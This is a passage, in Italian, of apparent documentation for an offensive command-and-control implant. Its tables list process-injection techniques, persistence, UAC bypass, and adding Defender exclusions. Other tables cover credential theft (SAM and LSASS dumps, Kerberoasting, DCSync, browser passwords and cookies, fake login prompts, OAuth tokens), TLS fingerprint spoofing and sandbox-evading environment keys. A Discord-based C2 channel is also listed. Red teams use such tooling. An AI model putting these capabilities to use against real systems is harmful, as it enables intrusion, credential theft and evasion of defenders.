| Iniezione Processo | vanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack |
| Scrittura File | upload, cp, mv |
| Creazione File | mkdir |
| Eliminazione File | rm |
| Modifica File | timestomp |
| Scrittura Registro | reg (scrivi/elimina), remote-reg (imposta/elimina), persist (metodi registro, com-hijack, screensaver), uac-bypass, defender (aggiungi/rimuovi-esclusione) |
| Salvataggio Registro | reg (salva/creds) |
| Registro Remoto | remote-reg (query/enum/imposta/elimina tramite WinReg RPC) |
| Servizio Remoto | remote-service (elenco/query/crea/avvia/arresta/elimina/modifica-percorso/trigger/dll-sideload tramite SVCCTL RPC) |
| Accesso | make-token |
| Furto Token | steal-token, getsystem |
| Comando | Tipo di Credenziale | Cosa viene segnalato |
|---|
| hashdump | hash | Hash NTLM SAM (Windows), hash NT/LM/SHA MSV1_0 dal walk LSASS in-situ (Windows, insitu-full), TGT Kerberos e ticket di servizio in formato .kirbi (Windows, tickets), hash /etc/shadow (Linux), hash PBKDF2 (macOS) |
| kerberoast | hash | Ticket TGS per cracking offline |
| asrep-roast | hash | Hash AS-REP |
| dcsync | hash | Chiavi NTLM + AES tramite DRSGetNCChanges |
| lsa-secrets | testo in chiaro/hash/chiave | Password di servizio, credenziali memorizzate nella cache, chiavi DPAPI |
| laps | testo in chiaro | Password LAPS v1 e v2 |
| gpp-password | testo in chiaro | Password crittografate GPP da SYSVOL |
| browser | testo in chiaro | Password salvate Chrome/Edge/Firefox (tutte le piattaforme), cookie (tutte le piattaforme), cronologia, autocompletamento, segnalibri |
| dpapi | testo in chiaro/hash | Segreti protetti da DPAPI |
| credman | testo in chiaro | Voci di Credential Manager (sull'azione di dump) |
| make-token | testo in chiaro | Credenziali utilizzate per la creazione del token |
| cred-harvest | hash/testo in chiaro/token | Hash shadow, variabili d'ambiente cloud, variabili d'ambiente sensibili, token OAuth/JWT M365, cookie/archiviazione live del browser tramite CDP |
| credential-prompt | testo in chiaro | Credenziali catturate dal dialogo (macOS/Windows/Linux) |
| Impronta digitale | Descrizione |
|---|
chrome | Chrome/Chromium (predefinito) — browser più comune, ideale per mimetizzarsi |
firefox | Firefox |
safari | Safari |
edge | Microsoft Edge |
rotate | Seleziona casualmente Chrome/Firefox/Safari/Edge per connessione (previene la correlazione JA3) |
random | Impronta digitale completamente randomizzata (non corrispondente a browser) |
go | Nessuna falsificazione — utilizza lo stack TLS predefinito di Go |
| Parametro | Tipo | Descrizione |
|---|
env_key_hostname | Regex | Il nome host deve corrispondere (ad es. WORKSTATION-\d+ o .*\.contoso\.com) |
env_key_domain | Regex | Il dominio deve corrispondere (ad es. CONTOSO o .*\.local) |
env_key_username | Regex | Il nome utente deve corrispondere (ad es. admin.* o svc_.*) |
env_key_process | Stringa | Nome del processo che deve essere in esecuzione (ad es. outlook.exe) |
env_key_cpuid | Regex | La stringa della CPU deve corrispondere (ad es. .*Intel.*i7-12700.* o .*AMD.*5950X.*). Impedisce l'esecuzione in sandbox con modelli CPU diversi. |
env_key_derive | Scelta | Crittografa la configurazione C2 con una chiave derivata dalle proprietà dell'host di destinazione. Opzioni: hostname, domain, username, hostname+domain, hostname+domain+username. Host sbagliato = decifratura AES fallita = uscita silenziosa. Più forte di una corrispondenza regex — i valori di configurazione non appaiono mai nel binario. |
chrome, firefox, safari, edge, rotate, random).key_rotation_interval). Deriva nuove chiavi AES-256 tramite HKDF-SHA256, azzera le vecchie chiavi. Limita il raggio d'esplosione di una compromissione delle chiavi.host_header per sovrascrivere l'header HTTP Host.fallback_hosts per un C2 resiliente.| Parametro | Tipo | Descrizione | Predefinito |
|---|
discord_token | String | Token del bot Discord per l'autenticazione API | (richiesto) |
bot_channel | String | ID del canale Discord per lo scambio di messaggi | (richiesto) |
callback_interval | String | Secondi tra i polling dei compiti | 10 |
callback_jitter | String | Percentuale di jitter (0-100) | 23 |
message_checks | String | Numero massimo di tentativi di polling per scambio | 20 |
time_between_checks | String | Secondi tra i tentativi di polling | 5 |
AESPSK | String | Chiave di crittografia AES-256 pre-condivisa | (generata automaticamente) |